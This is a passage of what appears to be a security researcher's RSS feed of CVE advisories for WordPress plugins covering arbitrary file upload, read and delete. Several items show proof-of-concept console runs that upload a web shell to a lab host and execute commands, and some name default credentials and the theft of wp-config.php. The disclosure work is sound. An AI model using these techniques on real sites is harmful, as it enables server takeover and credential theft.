style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 ::1/128 scope host &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 78309sec preferred_lft 78309sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 86105sec preferred_lft 14105sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe5b:342f/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN group default &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;wpvivid_upload_import_files&lt;/code&gt; action calls the &lt;code&gt;upload_files&lt;/code&gt; function on line &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/class-wpvivid-export-import.php#L2210&#34; target=&#34;_blank&#34;&gt;2210&lt;/a&gt; of &lt;code&gt;/wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php&lt;/code&gt; without enforcing any file type validation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ultimate Addons for Contact Form 7 &lt;= 3.5.12 - Authenticated (Administrator&#43;) Arbitrary File Upload via save_options</title>
				<link>https://ryankozak.com/posts/cve-2025-6220/</link>
				<pubDate>Tue, 17 Jun 2025 00:00:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-6220/</guid>
				<description>&lt;h3 id=&#34;cve-2025-6220&#34;&gt;CVE-2025-6220&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/ultimate-addons-for-contact-form-7/&#34; target=&#34;_blank&#34;&gt;Ultimate Addons for Contact Form 7&lt;/a&gt; plugin does not sanitize the file types in its options save functionality, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-6220/blob/master/CVE-2025-6220.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-6220.py&lt;/a&gt; is provided to demonstrate an administrator uploading a web shell named &lt;code&gt;shell.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 CVE-2025-6220.py https://lab1.hacker admin PASSWORD&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Logging into: https://lab1.hacker/wp-admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Extracting nonce values...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;70e7b99966&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uploading web shell: shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&amp;#34;status&amp;#34;:&amp;#34;success&amp;#34;,&amp;#34;message&amp;#34;:&amp;#34;Options saved successfully!&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Executing test command: ip addr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;pre&amp;gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 127.0.0.1/8 scope host lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 ::1/128 scope host &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 61299sec preferred_lft 61299sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 86240sec preferred_lft 14240sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe5b:342f/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN group default &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;uacf7_options_save&lt;/code&gt; functionality in &lt;code&gt;/wp-content/plugins/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php&lt;/code&gt; processes file uploads without enforcing proper file type validation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>eMagicOne Store Manager for WooCommerce &lt;= 1.2.5 - Unauthenticated Arbitrary File Upload via set_image Task</title>
				<link>https://ryankozak.com/posts/cve-2025-5058/</link>
				<pubDate>Fri, 23 May 2025 05:30:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-5058/</guid>
				<description>&lt;h3 id=&#34;cve-2025-5058&#34;&gt;CVE-2025-5058&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/store-manager-connector/&#34; target=&#34;_blank&#34;&gt;eMagicOne Store Manager for WooCommerce&lt;/a&gt; plugin exposes a remote management protocol endpoint (&lt;code&gt;?connector=bridge&lt;/code&gt;) that allows file uploads to the server. The authentication mechanism relies on a default credential pair (&lt;code&gt;login=1&lt;/code&gt;, &lt;code&gt;password=1&lt;/code&gt;) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and upload arbitrary files (including PHP shells) to the WordPress root or any writable directory via the &lt;code&gt;set_image&lt;/code&gt; task.&lt;/p&gt;</description>
			</item>
			<item>
				<title>eMagicOne Store Manager for WooCommerce &lt;= 1.2.5 - Unauthenticated Arbitrary File Delete</title>
				<link>https://ryankozak.com/posts/cve-2025-4603/</link>
				<pubDate>Fri, 23 May 2025 05:20:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-4603/</guid>
				<description>&lt;h3 id=&#34;cve-2025-4603&#34;&gt;CVE-2025-4603&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/store-manager-connector/&#34; target=&#34;_blank&#34;&gt;eMagicOne Store Manager for WooCommerce&lt;/a&gt; plugin exposes a remote management protocol endpoint (&lt;code&gt;?connector=bridge&lt;/code&gt;) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (&lt;code&gt;login=1&lt;/code&gt;, &lt;code&gt;password=1&lt;/code&gt;) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and delete arbitrary files from the WordPress root or any accessible directory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reproduction&#34;&gt;Reproduction&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-4603/blob/master/CVE-2025-4603.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-4603.py&lt;/a&gt; is provided to demonstrate an attacker deleting &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>eMagicOne Store Manager for WooCommerce &lt;= 1.2.5 - Unauthenticated Arbitrary File Read</title>
				<link>https://ryankozak.com/posts/cve-2025-4602/</link>
				<pubDate>Fri, 23 May 2025 05:10:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-4602/</guid>
				<description>&lt;h3 id=&#34;cve-2025-4602&#34;&gt;CVE-2025-4602&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/store-manager-connector/&#34; target=&#34;_blank&#34;&gt;eMagicOne Store Manager for WooCommerce&lt;/a&gt; plugin exposes a remote management protocol endpoint (&lt;code&gt;?connector=bridge&lt;/code&gt;) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (&lt;code&gt;login=1&lt;/code&gt;, &lt;code&gt;password=1&lt;/code&gt;) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reproduction&#34;&gt;Reproduction&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-4602/blob/master/CVE-2025-4602.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-4602.py&lt;/a&gt; is provided to demonstrate reading the &lt;code&gt;wp-config.php&lt;/code&gt; file from the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>eMagicOne Store Manager for WooCommerce &lt;= 1.2.5- Unauthenticated Arbitrary File Upload via set_file Task</title>
				<link>https://ryankozak.com/posts/cve-2025-4336/</link>
				<pubDate>Fri, 23 May 2025 05:00:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-4336/</guid>
				<description>&lt;h3 id=&#34;cve-2025-4336&#34;&gt;CVE-2025-4336&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/store-manager-connector/&#34; target=&#34;_blank&#34;&gt;eMagicOne Store Manager for WooCommerce&lt;/a&gt; plugin exposes a remote management protocol endpoint (&lt;code&gt;?connector=bridge&lt;/code&gt;) that allows file uploads to the server. The authentication mechanism relies on a default credential pair (&lt;code&gt;login=1&lt;/code&gt;, &lt;code&gt;password=1&lt;/code&gt;) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and upload arbitrary files (including PHP shells) to the WordPress root or any writable directory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reproduction&#34;&gt;Reproduction&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-4336/blob/main/cve-2025-4336.py&#34; target=&#34;_blank&#34;&gt;cve-2025-4336.py&lt;/a&gt; is provided to demonstrate a remote attacker uploading a web shell named &lt;code&gt;shell.php&lt;/code&gt; via the default authentication mechanism, and executing remote code:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 exploit.py https://lab1.hacker   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[*] Requesting session key...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[*] Raw response: {&amp;#34;response_code&amp;#34;:20,&amp;#34;revision&amp;#34;:11,&amp;#34;module_version&amp;#34;:&amp;#34;1.2.5&amp;#34;,&amp;#34;session_key&amp;#34;:&amp;#34;6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] Got session key: 6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[*] Uploading file...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[*] Upload response: {&amp;#34;response_code&amp;#34;:20,&amp;#34;message&amp;#34;:&amp;#34;File was successfully uploaded&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[*] Executing Web Shell Commands...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;pre&amp;gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 127.0.0.1/8 scope host lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 ::1/128 scope host &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 23576sec preferred_lft 23576sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 86363sec preferred_lft 14363sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe5b:342f/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN group default &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 02:42:ef:a9:95:6a brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerable-flow&#34;&gt;Vulnerable Flow&lt;/h2&gt;&#xA;&lt;h3 id=&#34;default-credentials-and-hash-calculation&#34;&gt;Default Credentials and Hash Calculation&lt;/h3&gt;&#xA;&lt;p&gt;On plugin activation, the following constants are set in &lt;code&gt;smconnector.php&lt;/code&gt;:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Instantio - Wordpress Plugin &lt;= 3.3.16 - Authenticated (Admin&#43;) Arbitrary File Upload via ins_options_save</title>
				<link>https://ryankozak.com/posts/cve-2025-47550/</link>
				<pubDate>Wed, 07 May 2025 05:18:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-47550/</guid>
				<description>&lt;h3 id=&#34;cve-2025-47550&#34;&gt;CVE-2025-47550&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/instantio/&#34; target=&#34;_blank&#34;&gt;Instantio&lt;/a&gt; plugin does not sanitize the file types in its options save functionality, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-47550/blob/main/CVE-2025-47550.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-47550.py&lt;/a&gt; is provided to demonstrate an administrator uploading a web shell named &lt;code&gt;shell.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Logging into: https://lab1.hacker/wp-admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Extracting nonce values...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uploading web shell: shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&amp;#34;status&amp;#34;:&amp;#34;success&amp;#34;,&amp;#34;message&amp;#34;:&amp;#34;Options saved successfully!&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Executing test command: ip addr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;pre&amp;gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 127.0.0.1/8 scope host lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 ::1/128 scope host &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever 